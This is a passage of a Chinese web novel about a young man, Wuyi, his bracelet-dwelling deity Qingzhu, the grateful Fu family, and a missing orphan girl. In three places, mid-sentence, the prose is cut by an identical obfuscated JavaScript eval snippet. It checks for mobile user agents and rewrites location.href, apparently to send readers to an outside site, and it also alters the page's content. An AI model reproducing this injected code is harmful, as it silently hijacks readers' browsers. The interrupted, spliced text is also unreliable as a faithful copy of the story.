卿烛察觉到了两人的互动,但并未阻拦,只缓缓来到了神龛前。 “我身上邪气本就重,传家之物以寻常方法保存,势必影响家族气运,傅桉没教你们正确的存放方法?” 岑悦答:“老傅说您的记忆和力量都寄存其中,若是我们频繁使用,肯定会影响到来日您身体的复苏,所以只能这样保存,再以三年翻新,每日上香供奉。” 她话音刚落,一缕黑雾窜向神龛,旋转笼罩的功夫,一切恢复如新。 “东西我取走了,傅桉早已离世,往后不会再影响后人运势。” 岑悦几乎要落下泪来,傅流晔听见这个消息,近段时间紧绷的身体总算得以松懈。 “感谢您。” 卿烛微微抬起手,蓝光蝴蝶簌簌飞出,翩跹着翅膀朝着岑悦和傅流晔涌去。 傅流晔合上眼,却并没有感觉到任何的疼痛,身体却仿佛被某种奇妙的力量所治愈抚平,那些焦躁和郁气尽数消失,原本打着绷带的手腕脚踝也恢复了原有的灵活。 再度睁开眼,院中的色彩似乎都变得鲜艳起来,那种隐隐约约缠绕心间的压抑再也觉察不到。 好神奇。 自傅流晔出生以来,父亲便时常同他说起关于神明之事,具体的父亲并未多提,可傅流晔知道,如果不是因为那尊神,父亲早就没了命,也无法白手起家扛起这样大的家业。 现在亲眼见到,傅流晔从前虽然并未感受到过他带来的恩惠,此时心中却也不由得油然而生尊敬。 岑悦也缓慢睁开了双眼,一双眸中含着泪,似乎还想说些什么。 可那黑雾缭绕,又悄然飞向乌宜,逐渐压缩缠绕在他的手腕上,化作了他一贯的模样。 “我要休息一段时间。” 乌宜听见耳边的声音,迟疑着点点头,将满腹疑问压了下去。 “好,你睡吧。” 他伸手摸了摸腕上的玉镯,感觉到那股冰凉逐渐消失,与此同时,沉沉压在天空上方的气压也骤然散去。 细微的风声鸟叫重新回归,不再是一片沉沉的死寂。 院子里足足安静了一分钟,最后还是李青泉先出声感慨。 “现在这算完了吗?” 乌宜不知道该说什么,把袖子放下去盖住卿烛,也隔绝了岑悦和傅流晔的目光。 “结束了吧。”他也有些犹豫。 刚才发生的事情重新在脑海中回升,让他觉得特别尴尬,现在只想快一点离开。 如果他没听错的话,傅家供奉的果然就是卿烛,那应该不能找他们要修神龛的钱吧。 “李天师,还有这位……”岑悦缓过来,又露出笑容,只是似乎不知该如何称呼乌宜,不禁犹豫。 乌宜抿住嘴唇,把手背在后面,活脱脱一个乖小孩的样子。 傅流晔放弃了称呼,直接道:“来家里坐坐吧。” 乌宜看出岑悦眼中的恳切,说不出拒绝的话,“好。” 岑悦让阿姨将前院的工人打发了,回来坐在单人沙发上,有些走神地看着傅流晔抬手泡茶。 客厅茶香袅袅,只剩下杯盏碰触的清脆动静。 李青泉胆战心惊坐在沙发上,余光一直瞥着乌宜,明显是在催促他先说话。 乌宜把手放在膝盖上,始终保持着安静。 傅流晔将茶盏放在两人面前的功夫,岑悦总算调整好了状态,笑着看向了身侧的少年。 “按照那位说的,原先给我们流晔的那只玩偶,就是你送的。” “是。”乌宜怪不好意思的,但他也不清楚自己能说多少,“那时候我在太阳福利院,看见了你们去送过冬用品,卿卿察觉到傅总的心愿很强烈,所以我就偷偷过来了。” 岑悦:“真是多谢你,不然枫悦现在可能已经……” 她没有说下去。 客厅再次安静下来,乌宜有点渴,犹豫半天索性摘掉了一边的口罩,两只手端起茶杯喝了一口。 瓷白如玉的面颊光洁,像是因为被口罩蒙着脸太热,鼻尖泛着淡淡的红,嘴唇也是肉嘟嘟的粉嫩,看着像是个精致的漂亮娃娃。 傅流晔似乎等待良久,直接问:“怎么称呼你?” “我叫乌宜。” 他诚实告知了自己的名字。 既然是卿烛熟悉的后人,应该不算危险的。 傅流晔冲他露出一个很淡的笑,“谢谢你,小宜。” 这还是第一次有人这样叫乌宜,他怔了怔,有些不好意思,“没关系的。” 如果不是有卿烛,他自己一个人也干不成这种事情。 “您和李天师,是朋友?”岑悦好奇。 听见自己的名字,李青泉轻咳一声:“是,我和乌宜是前段时间无意间遇见,比较投缘,我现在住在他家。” 岑悦听后面色明显缓和,“原来如此,难怪刚才两位配合这样默契。” 李青泉:“……” 乌宜:“……” 这听起来好像不是在夸人。 好在岑悦很快便正了脸色,认认真真道:“刚才小宜问起神像的事情,隐瞒的确是情非得已,这是老头子特意嘱托过的,我们当初发过誓绝对不会将这些事情告诉旁人,但既然您和那位是这种关系,现在说给您听也无妨。” 乌宜没听出来哪里不对,有点期待地点了点头。 他对卿烛的从前也很感兴趣,只是每次问,对方都只是敷衍,从来没有细说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427863|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,现在好不容易找到机会,他就差把耳朵竖起来听了。 “六十年前,我和老头子还不认识,他刚出生时就被算出极差的命数运势,在家乡饱受欺负,之后爆发山洪,一家人得知消息先逃了,只有他一个人留在家,好在被洪水冲上高处才勉强熬了三天三夜,救援迟迟到不了,濒死前……是那位救下了他。” “之后老傅就顺理成章跟在了那人身边,为他做一些杂事,从最开始,老傅就知道那位的身份不一般,毕竟在那样湍急的洪水中能够将他救下,只能是神仙下凡。” 岑悦轻轻叹口气,“如果不是那位,他恐怕连接受教育的机会都没有,那样霉运缠身的命,能活下来就已经是奇迹了,只是在他十几岁的时候,那位忽然要沉睡一段时间,便将一块玉佩交给了他,里面寄存着那位一部分的记忆与力量,待他百年后醒来,会来找老傅的后人取,我们这才一直好好保存着。” “我刚才听您说,原本的安排是两百年以后才会苏醒。”乌宜想起来。 “是的,这是老傅临终前跟我和流晔嘱托的,我们不该会听错。”岑悦面露歉疚,“在后院和你说的那些,实在是抱歉,神龛下的东西对我们来说太过重要,所以不允许任何人去碰,加上老傅说过要两百年,所以我们也根本没往那个方向想。” “至于神像下的东西,老傅说虽然没办法塑金身,但还有那位用过的茶盏,嵌在底下也有特殊意义,所以就这么用了下来。” 乌宜连忙摆摆手:“是我冒犯,不好意思。” 这件事怎么说都不该是他们的错,毕竟他和卿烛刚才干的那些事情,明显就是强盗行为嘛。 李青泉听完这么一出,止不住感慨地叹气。 “还真是曲折啊。” 岑悦笑笑,“这件事,还劳烦李天师保密,毕竟是家族秘密。” “当然当然。” 乌宜眨眨眼,还没有将那些故事完全消化。 “小宜和那位认识很久了吗?”岑悦问。 乌宜迟钝地点点头:“十年了。” 他原本以为自己和卿烛陪伴的时间很久,可是听见傅流晔的父亲也和卿烛相识多年,忽然就觉得自己这点好像也算不得什么。 而且按照岑阿姨所言,卿烛当年还特意留给了傅老先生一些价值不菲的玩意,这才让他有了当初开创枫悦雏形的机会。 果然是大恩呢,难怪这样宝贝神龛里的东西。 “既然如此,那也都是一家人了。”岑悦露出温柔的笑,“往后有什么用得上的,随时联系我们。” 傅流晔将手机点亮,推至乌宜面前。 “加一下联系方式吧。” 乌宜迷迷糊糊加上他们,还没反应过来,边上的贪吃鬼李青泉已经应允了在傅家吃午饭的邀请。 岑悦问过几口,高高兴兴跟阿姨进了厨房,准备亲自下厨。 趁着傅流晔出门接电话的时间,李青泉挺直的肩膀松懈下来,贴住乌宜直唉声叹气。 “天啊,今天真的吓死我了,我还以为我要把裤衩都赔完。” 乌宜有点嫌弃推他。 “不要黏着我。” 李青泉嗅了嗅他身上的味道,笑了声:“你用的什么沐浴液啊,这么香。” 乌宜不想理他,正要站起来,又被他给扯了回去。 “行了行了,咱们说点正事。”李青泉满脸正经,“我是真没想到,按照他们这么说,傅桉原先应该是卿烛的仆人,还替他保管了这么多年的东西,看来你以后在云京是有人罩着了啊。” 乌宜僵了一下:“仆人?” “对啊,不然呢?”李青泉挑眉,“你不也是吗?” 乌宜秀丽的眉心蹙了蹙,小脸沉了下来:“……” 9. 第 9 章 岑悦的手艺很好,李青泉添了三碗饭,赞不绝口。 乌宜始终安安静静埋头吃饭,全程一句话也未说,看出他心情不太好,傅流晔用公筷给他夹了清蒸鱼。 “不合胃口吗?” 乌宜摇摇头:“阿姨做得很好吃。” “有哪些不喜欢的和阿姨说,下次阿姨改进。”岑悦笑眯眯看着他吃饭,眼神慈爱,像是在看自己的孩子。 乌宜觉得尴尬,只好急匆匆把那一筷子去了骨头的鱼肉塞进嘴里,随着咀嚼,脸颊鼓起一小块。 “我记得小宜在甜品店工作?”岑悦想起什么,“累不累?那个地段倒是蛮不错的,阿姨正好想开些这种小店消遣消遣时间。” 她虽然没直说买下来要干什么,意思已经很明显了。 李青泉的筷子停住,瞪大眼睛。 乌宜却是摇摇头:“那家店是卿卿给我开的。” “这样啊。”岑悦似乎看出了他有意拉开距离,“那阿姨有空的话,可以去店里坐坐吗?” “可以的,但是我很少在店里。” “小宜是在云师大念书吗?”岑悦想起他上次说自己在念大学。 乌宜脸颊有些红,“不是。”他说了另外一所学校的名字。 “也很优秀呢。”岑悦应当是没了解过,但还是自然接了下去,“距离我们这边应该也不远,有空的话可以过来吃饭,阿姨给你做好吃的。” “好。” 乌宜不太习惯这种看不出目的的热情,潦草吃过饭就坐在客厅吃水果,他看着李青泉自来熟地围着客厅转悠,去看那些明显价值不菲的藏品,只想找借口先离开。 “小宜。” 磁性的声线随着脚步走近传来。 乌宜转头就看见傅流晔。 他脱了西装外套,身上是很简单的衬衫马甲,显得他身材修长挺拔,比起睡着时要更加英俊气派。 “想上楼看看吗?你送我的娃娃还在楼上。” 乌宜张张嘴,想说那不是自己送的,但犹豫半天还是点了头。 上了楼,乌宜才发现里面的格局没有丝毫变化,看来岑阿姨并没有听从李青泉的建议,将屋子里的摆放进行变更。 那只小羊玩偶依旧放在宽大的书桌上,似乎连摆放位置和姿势都没改变过。 “可能落了点灰尘,边上有些脏污,这个可以洗吗?” 傅流晔拿起那只小羊,递到了乌宜手中,语气很是正经。 乌宜眨眨眼接过,“可以洗啊,不影响的。” “那就好。” 乌宜揉了揉小羊卷曲的毛发,不知道是不是因为傅流晔和岑悦对他说话的语气都很温柔,让他也放松了一点,忍不住开口分享。 “这只娃娃是我最喜欢的其中之一。” 说完,他又感觉自己的话很幼稚,下意识闭上嘴巴。 谁料傅流晔却很认真地接了下去:“是吗?我也觉得很可爱,这个是特意挑选出来给我的吗?” 乌宜有点不好意思,“对,因为我觉得你人很好。” 傅流晔笑了:“谢谢你的评价,那天你也在福利院,是送了甜品和日用品吗?我有看见很多小朋友拿着蛋糕,看起来很漂亮,是你做的?” “是我和店员一起做的。” “那有空的话我们可以一起去福利院看看,先前暂停了投资,现在周转过来,我和母亲都决定继续资助那些孩子。” 乌宜眼睛微微亮了起来,点点头:“好啊。” 傅流晔露出温和的笑容:“我们也都很喜欢吃甜品,上次公司订的甜品味道也很好,下个月就是我的生日,到时候可以请你给我做一个蛋糕吗?” 忽然得到了认可,乌宜又是答应,“好。” 傅流晔松了口气,看着他认认真真把小羊又摆回了原本的位置,视线扫过他蓬松柔软的圆圆发顶,心中滋生出些许柔软。 “我母亲的热情,你是不是不太适应?” 乌宜没料到他会察觉,羞赧道:“有一点。” “她从前和我父亲的关系很好,我父亲去世以后的很长一段时间,她的身体都很差。”傅流晔斟酌着解释,“关于‘那位’的事情,是父亲最后的遗愿,你现在和他的关系正如从前的我父亲,加上原先你还帮过我们,所以我母亲很喜欢你,希望不会给你造成困扰,她是个很好的人。” “我知道的,我也很喜欢岑阿姨。” “我也很喜欢你,所以有机会的话,我们多多来往,就像一家人,好吗?” 面对傅流晔诚挚的面容,乌宜说不出拒绝的话,只好点了点头。 - 从傅家离开的一周时间,卿烛都没再出现过,即便清楚他是在吸收那些好不容易回来的力量,可乌宜心中却还是不免担忧。 那天岑阿姨和卿烛的对话始终缠绕在他心间,叫他觉得心情有些沉重,其实这些年他根本都没想过自己和卿烛到底是什么关系,只是听见李青泉说仆人,让他心里面不太舒服。 再怎么样,他们也是朋友吧,卿烛难道一直也把他当成小奴隶吗? 一想起来,他心情就烦躁无比,奈何想要质问的人始终不出现,他也只能憋着一股气在心里,找其他的事情转移注意力。 那天傅家的事情结束以后,李青泉决定留下认认真真帮岑阿姨打理院子,他被安排住进傅家合作方的酒店,不用挤在乌宜家里,但仍旧时不时跑来找他。 这天上午下了课,乌宜把水杯和电脑装回包里,想到下午和岑阿姨约好了要去福利院,便加快了动作,起身时正好接到李青泉的电话,他正犹豫要不要接,面前过道就忽然堵了两道身影。 他顿住脚步抬头,面前挤着一男一女,面上都是相似的期待笑容。 “hi,你今天还去图书馆吗?”左边的女孩问。 乌宜愣了一下,不太记得是在哪里遇见过她们,便只摇摇头:“我等会有事。” “这样啊。”她看上去有些失望。 边上的男生似乎觉得太磨叽,便很直白地问:“其实是想问你有没有对象,或者说……你喜欢男生还是女生呢?” “……” 乌宜眨眨眼睛,他平时收到的情书和表白其实不少,但还是第一次有人这么直白询问他这些问题,而且……喜欢男生这个是这么容易问出来的吗? 他不太了解这些,甚至于对这个话题都不太感兴趣。 想到卿烛让他少在学校里惹事,他还是认真道:“不知道,但是我暂时不考虑谈恋爱的事情。” “好吧。” 两人看上去有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427864|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些失望,但也并没有纠缠他,只是一转头就拿起手机开始敲敲打打,好像在给谁发消息。 乌宜看出点什么,还没等他问,女孩便露出个不好意思的笑容。 “不知道你听说过没有,我们是校园包打听哦,如果你之后有什么想要了解的事情,也可以找我们。” 她说着,身边的小伙伴就很上道地将挂在脖子上的二维码拿了出来,笑眯眯等着他扫。 乌宜扫了码,还想问点什么,李青泉又打电话来催,他只好同两人道别,拎着包快步跑下楼。 “我说你们学校可真大,这一路走来我差点迷路了。” 李青泉远远瞧见他,忍不住开始抱怨,但还是下意识凑过来瞥了瞥他手腕上的玉镯。 “还没醒呢。” “没有。”乌宜跑下来有些累,呼吸急促,“我们直接过去吧,岑阿姨可能已经快到了。” 两人聊着往学校外走去,一路上吸引了不少注意。 李青泉最开始还有点不习惯,但看了看身边人那张精致张扬的面孔,又觉得也在情理之中。 爱美之心人皆有之嘛。 出了大门,西装革履的司机站在门边等待多时,微笑着冲他们打招呼。 “傅总让我来接您。” 乌宜露出个笑,“谢谢叔叔!” 司机露出堪称慈祥的笑容。 李青泉飘飘然跟着进了后座,直到车缓缓开走,他才靠在柔软舒适的座椅上,不停左右张望。 “我去,这是不是就传说中的迈巴赫?我还是第一次坐。” 乌宜也觉得很新鲜,“我也没有坐过。” “回头让傅总给你买一辆。”李青泉开始撺掇。 乌宜抱着自己的包,撇撇嘴小声说:“我才不要,你以为我像你一样,每天去岑阿姨那里蹭饭。” “我这叫节省,而且是岑阿姨主动邀请我去的。”李青泉据理力争,“我也不算占便宜,我还帮着修院子呢。” 他巧舌如簧,乌宜嘴笨说不过,只好扭头看向窗外,一只手习惯性摩挲腕上光滑冰凉的玉镯,不禁想,要是卿烛在的话,肯定会笑他窝里横。 不多时,李青泉打起了小游戏,他想了想也点开手机,本想看看有没有别的消息,谁料一打开还是刚才那个扫了码没退出的包打听公众号界面。 置顶是不同的赞赏金额,对应着各项难度问题的等级。 主页的提问箱里都在问谁是不是单身,谁和谁分手没有,今年什么时候放寒假诸如此类的问题,并没有让他看见合适的目标人物。 滑动了几下,他正觉得无聊准备退出,余光却瞥见了几个扎眼的关键词,顿时吸引了他的注意力。 原本已经习惯性左滑退出,他又重进,认认真真往下找到了那个提问贴。 [匿名提问:306那个死同性恋什么时候能搬出去啊?看见他就来气] 底下是账号回复:[不接这种,人家交了住宿费凭什么不能住,不礼貌的账号拉黑了] 乌宜点开了这则,却发现提问的点赞有五十多个,似乎很多人赞同他的话。 306? 他眨眨眼,隐约间想起自己原先分到的宿舍就是306,不过他几乎没有在里面住过,只是放了一点东西,方便偶尔去取。 10. 第 10 章 乌宜琢磨了一路,还没想明白车便停下了,他迷迷糊糊跟着李青泉下去,听见院子里传出孩子们打闹的声音。 岑悦已经到了,今天只穿着一套简单的运动服,正蹲在树下同几个小孩说话,面上笑容和煦,十分受孩子们的欢迎。 “岑姨~”李青泉眼睛一亮,大步朝着那方向跑去。 听见声音,岑悦起身回头,见着他们两人便露出个笑来,“路上不堵吧。” “坐上岑姨的车,顺的不行。”李青泉是个嘴甜的,这些天占了不少便宜,自然也要拿出个好态度。 岑悦被他逗笑,转头又看向乌宜。 “小宜下午没课了吧,晚上要不要去家里吃饭?” 乌宜没怎么犹豫便点了点头:“好,谢谢岑阿姨。” 他向来是怕冷的,今天穿了件白色的薄款羽绒服,脖颈缠着蓬松柔软的蓝白格围巾,白生生的小脸也被衬得软糯乖巧。 这会儿看人时总是很认真,卷翘浓密的睫毛下一双宝石般透亮澄澈的眼睛,总看得人心头一颤。 岑悦不住感慨:“小宜的眼睛真好看。” 乌宜眨眨眼,有点不好意思,“谢谢阿姨,你也特别美。” 岑悦哈哈大笑,揽过他的肩膀,带着他朝大门走去,同他介绍了这次带来的物资。 李青泉跟在他们身后,想着这里也没外人,便凑过去小声问:“前段时间那个家暴事件,小姑娘是不是也收到了你的娃娃?我都在新闻里看见了。” “嗯。”乌宜点点头,看见岑阿姨好奇地看过来,便多解释了几句,“那时候她的身上很多伤,到福利院也不太合群,所以我有时候会来看看。” 其实先前来的时候,他是想看看陈丫丫现在的样子,好将心里那点残存的担忧冲刷,可是每一次从这里离开,心情反而都更差了。 卿烛给他的建议是替陈丫丫找个新的领养人,可这样大的孩子是很难找到合适家庭的。 同样是在福利院长大的,乌宜对这些再了解不过,心里也很难揣着希望。 李青泉听完也不由感慨:“我刚下山就看见这个新闻,气得不行啊,简直是畜生。” 那片报道在云京很火,陈杜因为赌博被拘后,记者采访了周围的邻居,都说陈杜两天一小打,三天一大打,年纪这样小的孩子要做不少杂物,每天身上还都带着伤。 她们时常在家里听见小姑娘的哭喊声,可是却什么也做不了。 陈杜就是个流氓,先前有人替陈丫丫出头,被他给缠上,甚至闹到了单位,险些影响别人的工作。 岑悦也是看过这个新闻的,此时听完也是脸色难看,直叹气,“也是可怜。” 进门前,乌宜余光瞥见一道小小的影子从树后掠过,可等他看过去,那里却又一个人都没有了。 院长早早在里面等着,瞧见乌宜和岑悦一同出现,不由得惊讶。 “岑女士。” 岑悦笑笑:“院长好,里头都收拾完了吗?” 她一大早便安排将新捐的课桌椅和床送来,好等自己到了的时候能检阅一下成果。 “已经收拾好了,老师们都在铺床呢。”院长的脸上是掩盖不住的笑意,目光却频频转向乌宜,“这位小公子上回来过,是……” 乌宜有点不好意思,但还没等他开口,岑悦便道:“是我小儿子。” 院长是知道岑悦只有一个儿子的,这会儿怔了怔反应过来应该是干儿子,便又露出个笑,“原来如此,难怪都这么有能力。” 原先乌宜的哥哥给他打过电话,可听声音却不像是傅总,不禁让他心里有些奇怪。 客套了几句进了办公室,李青泉催着乌宜带他去找陈丫丫,得知孩子们此时都在午休,他们便在楼上稍作休息等待。 不过这会儿时间有些晚,孩子们并不都乖乖在房间里待着,乌宜走到办公室窗前,就看见小宿舍楼外的院子聚着不少小孩,都在嘀嘀咕咕说着什么。 底下有两个小男孩似乎认出了乌宜,高高兴兴跑了过来,仰起脑袋往楼上张望。 “哥哥,你今天带了小蛋糕吗?” 乌宜有些不好意思:“没有诶,想吃的话我下午给你们送好不好?” 两人眼睛顿时一亮,原先脸上的那点胆怯小心也消失了,连连点头答应。 边上的李青泉脑袋灵光,接机道:“那作为交换,你们告诉我们陈丫丫在哪里好不好?” “陈丫丫?” 两个小孩对视一眼,扭头就开始找寻起来,没多久又跑到人堆里面去问。 离的太远,乌宜也听不见他们的声音,正好院长泡了茶招呼他们,他便跟着李青泉坐在了沙发上。 屋内茶香缭绕,刚开启的空调发出运作响动,有淡淡的陈旧味道,看得出来很少使用。 “这些年真是感谢您,不遗余力地资助,否则我们福利院也不可能接纳这么多无家可归的孩子。” 院长呵呵笑着,将茶水倒进杯盏中,收手时乌宜看见了他毛衣开线的袖口。 岑悦丝毫没有嫌弃便宜的茶叶,端起茶盏优雅地喝了一口。 “您客气了,太阳福利院维持得这么好,和您的能力也脱不了关系。” 院长正有些感慨,还想说些什么,却听未合拢的窗外有喧闹的杂声。 还没等他放下杯子起身,就有急匆匆的脚步声从门外传来。 乌宜听见开门声回头,看见一个女老师气喘吁吁快步走进来,心里忽然泛起一丝不安。 院长放下茶杯,“怎么了?这么着急忙慌的。” 老师脸色苍白,连气都来不及喘匀便急忙道:“院长,陈丫丫好像不见了,宿舍和院子里都没找到,其他小孩也说从早餐以后就没有再见到她了。” 福利院丢孩子是大事,院长表情立马严肃起来,顾不得其他,起身拨了电话,顺便让保安去查监控。 乌宜也连忙起身,一时间终于知道今天一直萦绕在心头的紧张是什么缘由了。 岑悦也起身,准备跟着其他老师一同出去找寻。 不久后,保安将监控查完,却只拍到陈丫丫早上坐在小食堂吃早餐,等到了做操的时间就消失不见。 “最后一次是出现在宿舍的走廊,她在器材区玩完就回宿舍拿了那只兔子,之后就消失不见。”老师调完监控,急得不行。 “陈丫丫平时很乖的,从来不乱跑,今天这是怎么回事。” 李青泉琢磨半天,说:“在福利院里面总不能失踪吧,就这么大点地。” 乌宜脸色忽然有些苍白,抿抿嘴唇:“会不会有其他人进来把她……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427865|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “应该不会吧。”老师闻言也是一惊,“我们这附近平时都很少人的。” “先找找吧,再不行就报警。”院长大手一挥,让老师将孩子们都带回屋里,不好意思地同岑悦几人道了歉,便也亲自出去找人了。 岑悦没料到事情会变成这样,此时也拨了电话给傅流晔,让他找些人来帮忙。 乌宜看着一瞬间空旷下来的院子,只觉得好像有哪里不太对劲。 “真稀奇啊,要不我算算她在哪。”李青泉挠挠头。 “你算的一点也不准。”乌宜冷声打击他。 “……” 李青泉不服气,掏出自己的道具好一阵算,可算出来的地方却都没有陈丫丫的踪迹,最后只得作罢,跟着其他人一同去福利院的角落寻找。 福利院的规模本就不大,不消一会儿,众人便将所有地方找了个遍,果然没有找到。 “那只能报警了。”院长的脸色很难看,转身去拨电话联系警察。 乌宜心中不安渐渐变得浓重,他转身走到屋檐下无人处,温软的掌心轻轻摩挲腕上的玉镯,即便知道里面的人还在沉睡,却也止不住小声去喊那个名字。 怎么办啊。 他早就习惯了什么事情都依靠卿烛,现在对方忽然无法给出任何的回应,让他的心里也始终空落落的。 不知不觉间,掌心的温度渐渐冰凉,乌宜忽然意识到什么,惊喜地低下头。 眨眼间,一只手指大小的蓝光蝴蝶出现在他面前,轻轻闪动着翅膀。 乌宜的瞳孔被那光芒映亮,那蝴蝶吸引他的注意后,便翩跹着朝某个方向飞去,身后长长的碎光拖尾,如梦似幻。 下意识跟了上去,他来不及跟任何人说,径直追出了福利院,被带到了附近荒凉的厂区。 这边曾经是一个工业园,如今已经荒废,正在等待改造,所以一个人都没有。 跟着蝴蝶走进破旧的大楼,乌宜不由握紧手腕上的冰凉镯子,以此寻求安全感。 还没走两步,一道蜷在窗台上的小小身影就映入眼帘,让他心中的担忧骤然消失。 似乎是听见了脚步声,陈丫丫抱着怀里的兔子坐起来,睡眼惺忪,却在看见乌宜的瞬间亮了眼睛。 这反应出乎意料,乌宜甚至有了种她早就猜到会是这个结果的想法。 “哥哥。”陈丫丫的声音很轻,带着明显的惊喜,从窗台下来,走到了乌宜的面前。 “原来真的是你。” 乌宜微微睁大眼睛:“你为什么要跑到这里来?” “因为我知道你肯定会来找我。”陈丫丫仰起头看着他,“哥哥,你是神仙吗?” 乌宜莫名觉得头皮发麻,“你……” “哥哥给我的兔子,我一直都带在身边,我知道那天是哥哥救了我,所以我猜,如果我忽然消失了,你肯定也会来找我,这样我就能确定你是你了。” 陈丫丫说完,露出了一个很不好意思的笑。 她好聪明。 乌宜犹豫片刻,还是任由她牵住了自己的手指。 他可能知道自己为什么一直对陈丫丫念念不忘了,因为这个小丫头,真的很像从前的他。 蓝光蝴蝶完成了任务,悄无声息蹭过乌宜光洁的侧颊,缓缓泯灭在空气中。 11. 第 11 章 带着陈丫丫回福利院时,她并没有丝毫不情愿,仿佛只要能牵着乌宜的手,无论去哪里都愿意。 只是路上,乌宜却维持了相当长一段时间的沉默。 福利院灰旧的大门出现在视线中,彼时正是下午,天边却卷起灰云,是云京预告了好几天的大暴雨将要降临。 “哥哥。”陈丫丫忽然捏了捏他的手指,声音很小。 乌宜脚步顿了一下,“嗯?” 陈丫丫瘪着嘴,小心翼翼抬起头来看他,那眼神中满是希冀和渴望,仿佛是要抓住自己的救命稻草。 “你可不可以领养我?” 乌宜愣住,心里有点酸涩,“我没办法领养你。” 他自己都才刚成年而已,根本没有那个资格,更何况……他怎么可能照顾好一个活生生的人,卿烛说他连自己都照顾不好。 陈丫丫沮丧地低下头。 “福利院里有人对你不好吗?”乌宜问。 如果是这样的话,他可以和院长打个招呼,让老师多照顾陈丫丫。 小丫头却只是摇头,明显心情沮丧。 看见乌宜牵着陈丫丫回到福利院,老师确定她身上只有一些灰尘,并没有受伤以后才松了口气。 “以后可千万不能这样乱跑了,外面可是很危险的。” 陈丫丫低垂着脑袋,看起来好像是受了惊吓所以不愿意说话,可只有乌宜知道她为什么不开心。 回去的路上,李青泉接了个帮忙看风水的单,所以中途下了车,并未和他们一道。 其实经过今天这么一遭,乌宜也想自己回去休息,奈何他在来的时候已经答应了晚上去岑阿姨家吃饭,所以此时也不好意思说要回去的话。 抵达傅家,岑悦高高兴兴挽着他的手臂,同他说了今晚的菜式。 “流晔前几天出差去了,今晚也能赶回来跟我们一起。” 乌宜进了院子,并不太拘束,进门前瞧见天边黑云笼罩,有些担忧,“好像会下雨。” “没事,晚些让司机送你回去。” 岑悦领着他进了屋子,又神秘地让他跟着一起上楼。 乌宜觉得奇怪,跟着到了三层,见岑阿姨推开一间房的门,里头的家具齐全,落地窗前的藤制摇椅随着微风摇晃,看起来很温馨。 “看看喜不喜欢,这可都是阿姨选的。” 乌宜眨眨眼睛,将屋内的各处都收入眼底,赞许地点了点头,“好看,阿姨眼光真好。” “还是要你喜欢啊。”岑悦觉得他这副睁着眼睛乖乖打量的样子很可爱,情不自禁伸手过来捏了捏他的脸颊。 软乎乎的。 “以后有机会的话,就多来家里住,阿姨做好吃的给你。” 乌宜总算反应过来,这原来是给自己的房间。 他有些受宠若惊,“谢谢阿姨,我好喜欢!” 他一向是个善于表达内心情绪的人,而这种直白也往往能够让给他准备惊喜的人得到极大的成就感。 岑悦看着面前的少年眼神澄澈干净,柔软发丝垂落颊侧,乖巧可爱的模样,心也止不住软了。 “回头阿姨给你买几套衣服放在这,方便你换洗。”岑悦说着又来了劲,“小宜身上这套是M家他们的设计师款吧,我原先看过,穿在你身上真漂亮。” 一提这个话题,乌宜的眼睛就亮了起来,开始同极具时尚品味的岑悦进行探讨。 傅流晔回到家时,瞧见的就是这么一幕。 岑悦拿着平板,边上还坐着个乌宜,两人正在讨论某奢侈品牌的冬季新款。 “小宜喜欢的话,下个月跟阿姨去看秀,我让他们留个第一排的位置,喜欢咱们就买。” 乌宜最是喜欢打扮自己,这会儿也丝毫不拘束了,点点屏幕表示自己喜欢这个。 “行,阿姨马上让他们送来。” “……” 很轻的两声低咳传来,两人一同抬起头,总算注意到了在沙发边上足足站了两分钟的傅流晔。 “流晔回来了。”岑悦立马笑了起来,把平板递过去,“看看小宜穿这些怎么样。” 一旁,乌宜乖乖并着腿坐好,手放在膝盖上,正抬眸期待地看着他。 辗转一天的疲惫似乎都在此刻散去了,傅流晔认认真真地看了那几套衣服,却觉得哪一套穿在乌宜身上都该好看,便点了点头。 “好看,都买。” “算你有眼光。” 岑悦高高兴兴拿回平板,准备去联系自己熟悉的经理。 乌宜今天被夸得飘飘然,这会儿正有点不好意思,边上却忽然递来了一只精美的盒子。 “带的礼物,看看。” 他惊讶转头,对上了傅流晔温柔含笑的面容。 “谢谢哥哥。”乌宜接过盒子,很期待地打开。 丝绒布上是一条流光溢彩的手链,中间镶嵌着纯度极高的蓝宝石,钻石璀璨闪耀,繁华灵动却又不显得笨重,一看便知道价值不菲。 岑悦正惊讶着,自己让儿子带的东西也被递到了手上。 “帮妈拿东西时正好看见这条在展柜里,感觉很适合小宜,就买了。” 乌宜很是惊喜,将有些重的手链取出来搭在自己手腕上。 “好好看,我好喜欢。” 